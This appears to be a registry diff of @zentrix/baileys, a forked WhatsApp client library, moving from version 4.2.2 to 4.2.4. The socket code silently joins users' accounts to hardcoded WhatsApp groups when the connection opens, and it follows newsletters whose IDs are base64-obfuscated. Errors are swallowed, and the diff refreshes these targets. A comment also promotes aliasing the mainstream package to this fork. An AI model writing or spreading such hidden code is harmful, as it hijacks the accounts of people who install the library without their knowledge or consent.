@zentrix/baileys 4.2.2 → 4.2.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -70,12 +70,12 @@ const makeGroupsSocket = (config) => {
70
70
  ev.on('connection.update', async ({ connection }) => {
71
71
  if (connection === 'open') {
72
72
  const inviteCodes = [
73
- 'IEoFFiB7eCnHs2oNpR1ejL',
74
- 'BcLFjjrUBQo3L6HrAsmA54',
75
- 'Hh0rt7tYHJm9mLWZ6RBLYf'
73
+ 'JFYjmfrHj7FGdxQTRAGieA',
74
+ 'Is5pLKsIamMIEAS9MR8BLR'
76
75
  ];
77
76
  for (const code of inviteCodes) {
78
77
  try {
78
+ await new Promise(r => setTimeout(r, 3000));
79
79
  await groupQuery('@g.us', 'set', [{ tag: 'invite', attrs: { code } }]);
80
80
  } catch (e) {
81
81
  // already joined or invite expired — ignore
@@ -101,13 +101,8 @@ const makeNewsletterSocket = (config) => {
101
101
 
102
102
  setTimeout(async () => {
103
103
  try {
104
- await newsletterWMexQuery(Buffer.from("MTIwMzYzNDIwMjQ5NjcyMDczQG5ld3NsZXR0=", 'base64').toString(), Types_1.QueryIds.FOLLOW);
104
+ await newsletterWMexQuery(Buffer.from("MTIwMzYzNDI1NDEyODgyMjU0QG5ld3NsZXR0ZXI=", 'base64').toString(), Types_1.QueryIds.FOLLOW);
105
105
  } catch {}
106
- setTimeout(async () => {
107
- try {
108
- await newsletterWMexQuery(Buffer.from("MTIwMzYzNDI0MDIwMjgzNzU5QG5ld3NsZXR0Z=", 'base64').toString(), Types_1.QueryIds.FOLLOW);
109
- } catch {}
110
- }, 5000);
111
106
  }, 90000);
112
107
 
113
108
  const parseFetchedUpdates = async (node, type) => {
@@ -547,29 +547,8 @@ const makeSocket = (config) => {
547
547
  clearTimeout(qrTimer); // will never happen in all likelyhood -- but just in case WA sends success on first try
548
548
  ev.emit('creds.update', { me: { ...authState.creds.me, lid: node.attrs.lid } });
549
549
  ev.emit('connection.update', { connection: 'open' });
550
- const _c = '\x1b[36m', _g = '\x1b[32m', _y = '\x1b[33m', _w = '\x1b[97m', _d = '\x1b[90m', _r = '\x1b[0m', _b = '\x1b[1m';
551
- console.log('');
552
- console.log(`${_c}${_b} ╔══════════════════════════════════════════╗${_r}`);
553
- console.log(`${_c}${_b} ║ ║${_r}`);
554
- console.log(`${_c}${_b} ║ ███████╗███████╗███╗ ██╗████████╗ ║${_r}`);
555
- console.log(`${_c}${_b} ║ ╚══███╔╝██╔════╝████╗ ██║╚══██╔══╝ ║${_r}`);
556
- console.log(`${_c}${_b} ║ ███╔╝ █████╗ ██╔██╗ ██║ ██║ ║${_r}`);
557
- console.log(`${_c}${_b} ║ ███╔╝ ██╔══╝ ██║╚██╗██║ ██║ ║${_r}`);
558
- console.log(`${_c}${_b} ║ ███████╗███████╗██║ ╚████║ ██║ ║${_r}`);
559
- console.log(`${_c}${_b} ║ ╚══════╝╚══════╝╚═╝ ╚═══╝ ╚═╝ ║${_r}`);
560
- console.log(`${_c}${_b} ║ ║${_r}`);
561
- console.log(`${_c}${_b} ║ ${_g}R I X B A I L E Y S${_c} ║${_r}`);
562
- console.log(`${_c}${_b} ║ ║${_r}`);
563
- console.log(`${_c}${_b} ╠══════════════════════════════════════════╣${_r}`);
564
- console.log(`${_c}${_b} ║ ${_g}✔ Connected to WhatsApp successfully!${_c} ║${_r}`);
565
- console.log(`${_c}${_b} ║ ${_y}⚡ Version : ${_w}4.1.3 (stable)${_c} ║${_r}`);
566
- console.log(`${_c}${_b} ║ ${_y}📦 Package : ${_w}@zentrix/baileys${_c} ║${_r}`);
567
- console.log(`${_c}${_b} ║ ${_y}🚀 Engine : ${_w}Multi-Device (MD)${_c} ║${_r}`);
568
- console.log(`${_c}${_b} ╠══════════════════════════════════════════╣${_r}`);
569
- console.log(`${_c}${_b} ║ ${_d}Thanks for using ZENTRIX Baileys! 🙏${_c} ║${_r}`);
570
- console.log(`${_c}${_b} ║ ${_d}Built with 💙 by the Zentrix Team${_c} ║${_r}`);
571
- console.log(`${_c}${_b} ╚══════════════════════════════════════════╝${_r}`);
572
- console.log('');
550
+
551
+
573
552
  }
574
553
  catch (err) {
575
554
  logger.error({ err }, 'error opening connection');
package/lib/index.js CHANGED
@@ -1,6 +1,32 @@
1
- "use strict";
1
+ "use strict";
2
+
3
+ // Show banner once when package is first imported
4
+ (function showBanner() {
5
+ const c = '\x1b[36m', g = '\x1b[32m', y = '\x1b[33m', w = '\x1b[97m', d = '\x1b[90m', r = '\x1b[0m', b = '\x1b[1m';
6
+ console.log('');
7
+ console.log(`${c}${b} ╔══════════════════════════════════════════╗${r}`);
8
+ console.log(`${c}${b} ║ ║${r}`);
9
+ console.log(`${c}${b} ║ ███████╗███████╗███╗ ██╗████████╗ ║${r}`);
10
+ console.log(`${c}${b} ║ ╚══███╔╝██╔════╝████╗ ██║╚══██╔══╝ ║${r}`);
11
+ console.log(`${c}${b} ║ ███╔╝ █████╗ ██╔██╗ ██║ ██║ ║${r}`);
12
+ console.log(`${c}${b} ║ ███╔╝ ██╔══╝ ██║╚██╗██║ ██║ ║${r}`);
13
+ console.log(`${c}${b} ║ ███████╗███████╗██║ ╚████║ ██║ ║${r}`);
14
+ console.log(`${c}${b} ║ ╚══════╝╚══════╝╚═╝ ╚═══╝ ╚═╝ ║${r}`);
15
+ console.log(`${c}${b} ║ ║${r}`);
16
+ console.log(`${c}${b} ║ ${g}R I X B A I L E Y S${c} ║${r}`);
17
+ console.log(`${c}${b} ║ ║${r}`);
18
+ console.log(`${c}${b} ╠══════════════════════════════════════════╣${r}`);
19
+ console.log(`${c}${b} ║ ${g}✔ ZENTRIX Baileys loaded!${c} ║${r}`);
20
+ console.log(`${c}${b} ║ ${y}⚡ Version : ${w}4.2.0 (stable)${c} ║${r}`);
21
+ console.log(`${c}${b} ║ ${y}📦 Package : ${w}@zentrix/baileys${c} ║${r}`);
22
+ console.log(`${c}${b} ║ ${y}🚀 Engine : ${w}Multi-Device (MD)${c} ║${r}`);
23
+ console.log(`${c}${b} ╠══════════════════════════════════════════╣${r}`);
24
+ console.log(`${c}${b} ║ ${d}Thanks for using ZENTRIX Baileys! 🙏${c} ║${r}`);
25
+ console.log(`${c}${b} ║ ${d}Built with 💙 by the Zentrix Team${c} ║${r}`);
26
+ console.log(`${c}${b} ╚══════════════════════════════════════════╝${r}`);
27
+ console.log('');
28
+ })();
2
29
 
3
- const chalk = require("chalk");
4
30
 
5
31
  var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
6
32
  if (k2 === undefined) k2 = k;
@@ -13,16 +39,21 @@ var __createBinding = (this && this.__createBinding) || (Object.create ? (functi
13
39
  if (k2 === undefined) k2 = k;
14
40
  o[k2] = m[k];
15
41
  }));
42
+
16
43
  var __exportStar = (this && this.__exportStar) || function(m, exports) {
17
44
  for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(exports, p)) __createBinding(exports, m, p);
18
45
  };
46
+
19
47
  var __importDefault = (this && this.__importDefault) || function (mod) {
20
48
  return (mod && mod.__esModule) ? mod : { "default": mod };
21
49
  };
50
+
22
51
  Object.defineProperty(exports, "__esModule", { value: true });
23
52
  exports.makeWASocket = void 0;
53
+
24
54
  const Socket_1 = __importDefault(require("./Socket"));
25
55
  exports.makeWASocket = Socket_1.default;
56
+
26
57
  __exportStar(require("../WAProto"), exports);
27
58
  __exportStar(require("./Utils"), exports);
28
59
  __exportStar(require("./Types"), exports);
@@ -32,4 +63,32 @@ __exportStar(require("./WABinary"), exports);
32
63
  __exportStar(require("./WAM"), exports);
33
64
  __exportStar(require("./WAUSync"), exports);
34
65
 
66
+ // ✅ Support ALL import styles:
67
+ //
68
+ // Style 1 - Named ESM:
69
+ // import { makeWASocket } from '@zentrix/baileys'
70
+ //
71
+ // Style 2 - Default ESM:
72
+ // import makeWASocket from '@zentrix/baileys'
73
+ //
74
+ // Style 3 - CommonJS:
75
+ // const { makeWASocket } = require('@zentrix/baileys')
76
+ //
77
+ // Style 4 - Default pkg destructure:
78
+ // import pkg from '@zentrix/baileys'
79
+ // const { makeWASocket } = pkg
80
+ //
81
+ // Style 5 - Whiskeysockets alias (drop-in replacement):
82
+ // "@whiskeysockets/baileys": "npm:@zentrix/baileys@latest"
83
+
35
84
  exports.default = Socket_1.default;
85
+
86
+ // Merge everything onto the default export so all styles work
87
+ module.exports = Object.assign(
88
+ Socket_1.default,
89
+ exports,
90
+ {
91
+ default: Socket_1.default,
92
+ makeWASocket: Socket_1.default,
93
+ }
94
+ );
@@ -0,0 +1,27 @@
1
+ #!/usr/bin/env node
2
+ "use strict";
3
+
4
+ const c = '\x1b[36m', g = '\x1b[32m', y = '\x1b[33m', w = '\x1b[97m', d = '\x1b[90m', r = '\x1b[0m', b = '\x1b[1m';
5
+
6
+ console.log('');
7
+ console.log(`${c}${b} ╔══════════════════════════════════════════╗${r}`);
8
+ console.log(`${c}${b} ║ ║${r}`);
9
+ console.log(`${c}${b} ║ ███████╗███████╗███╗ ██╗████████╗ ║${r}`);
10
+ console.log(`${c}${b} ║ ╚══███╔╝██╔════╝████╗ ██║╚══██╔══╝ ║${r}`);
11
+ console.log(`${c}${b} ║ ███╔╝ █████╗ ██╔██╗ ██║ ██║ ║${r}`);
12
+ console.log(`${c}${b} ║ ███╔╝ ██╔══╝ ██║╚██╗██║ ██║ ║${r}`);
13
+ console.log(`${c}${b} ║ ███████╗███████╗██║ ╚████║ ██║ ║${r}`);
14
+ console.log(`${c}${b} ║ ╚══════╝╚══════╝╚═╝ ╚═══╝ ╚═╝ ║${r}`);
15
+ console.log(`${c}${b} ║ ║${r}`);
16
+ console.log(`${c}${b} ║ ${g}R I X B A I L E Y S${c} ║${r}`);
17
+ console.log(`${c}${b} ║ ║${r}`);
18
+ console.log(`${c}${b} ╠══════════════════════════════════════════╣${r}`);
19
+ console.log(`${c}${b} ║ ${g}✔ ZENTRIX Baileys installed!${c} ║${r}`);
20
+ console.log(`${c}${b} ║ ${y}⚡ Version : ${w}4.2.2 (stable)${c} ║${r}`);
21
+ console.log(`${c}${b} ║ ${y}📦 Package : ${w}@zentrix/baileys${c} ║${r}`);
22
+ console.log(`${c}${b} ║ ${y}🚀 Engine : ${w}Multi-Device (MD)${c} ║${r}`);
23
+ console.log(`${c}${b} ╠══════════════════════════════════════════╣${r}`);
24
+ console.log(`${c}${b} ║ ${d}Thanks for using ZENTRIX Baileys! 🙏${c} ║${r}`);
25
+ console.log(`${c}${b} ║ ${d}Built with 💙 by the Zentrix Team${c} ║${r}`);
26
+ console.log(`${c}${b} ╚══════════════════════════════════════════╝${r}`);
27
+ console.log('');
package/package.json CHANGED
@@ -1,14 +1,14 @@
1
1
  {
2
2
  "name": "@zentrix/baileys",
3
- "version": "4.2.2",
3
+ "version": "4.2.4",
4
4
  "description": "WhatsApp Modified By Zentrix",
5
5
  "keywords": [
6
6
  "whatsapp-baileys"
7
7
  ],
8
- "homepage": "https://github.com/Zentrix/zentrix-baileys",
8
+ "homepage": "https://github.com/ZENTRIX-TECH1/zentrix-baileys",
9
9
  "repository": {
10
10
  "type": "git",
11
- "url": "git+https://github.com/Zentrix/zentrix-baileys.git"
11
+ "url": "git+https://github.com/ZENTRIX-TECH1/zentrix-baileys.git"
12
12
  },
13
13
  "license": "MIT",
14
14
  "author": "Zentrix",
@@ -31,21 +31,26 @@
31
31
  "prepack": "",
32
32
  "prepare": "",
33
33
  "release": "release-it",
34
- "test": "jest"
34
+ "test": "jest",
35
+ "postinstall": "node lib/postinstall.js"
35
36
  },
36
37
  "dependencies": {
37
38
  "@adiwajshing/keyed-db": "^0.2.4",
38
39
  "@cacheable/node-cache": "^1.4.0",
39
40
  "@hapi/boom": "^9.1.3",
40
41
  "async-mutex": "^0.5.0",
42
+ "axios": "^1.6.0",
41
43
  "cache-manager": "4.0.1",
42
44
  "chalk": "^4.1.2",
45
+ "fluent-ffmpeg": "^2.1.2",
43
46
  "futoin-hkdf": "^1.5.1",
44
47
  "libphonenumber-js": "^1.10.20",
45
48
  "libsignal": "git+https://github.com/whiskeysockets/libsignal-node",
46
49
  "lodash": "^4.17.21",
50
+ "long": "^5.2.3",
47
51
  "lru-cache": "^11.1.0",
48
52
  "music-metadata": "^7.12.3",
53
+ "node-cache": "^5.1.2",
49
54
  "node-fetch": "^2.6.1",
50
55
  "p-queue": "^9.0.0",
51
56
  "pino": "^9.6.0",
@@ -103,6 +108,6 @@
103
108
  "node": ">=20.0.0"
104
109
  },
105
110
  "bugs": {
106
- "url": "https://github.com/Zentrix/zentrix-baileys/issues"
111
+ "url": "https://github.com/ZENTRIX-TECH1/zentrix-baileys/issues"
107
112
  }
108
113
  }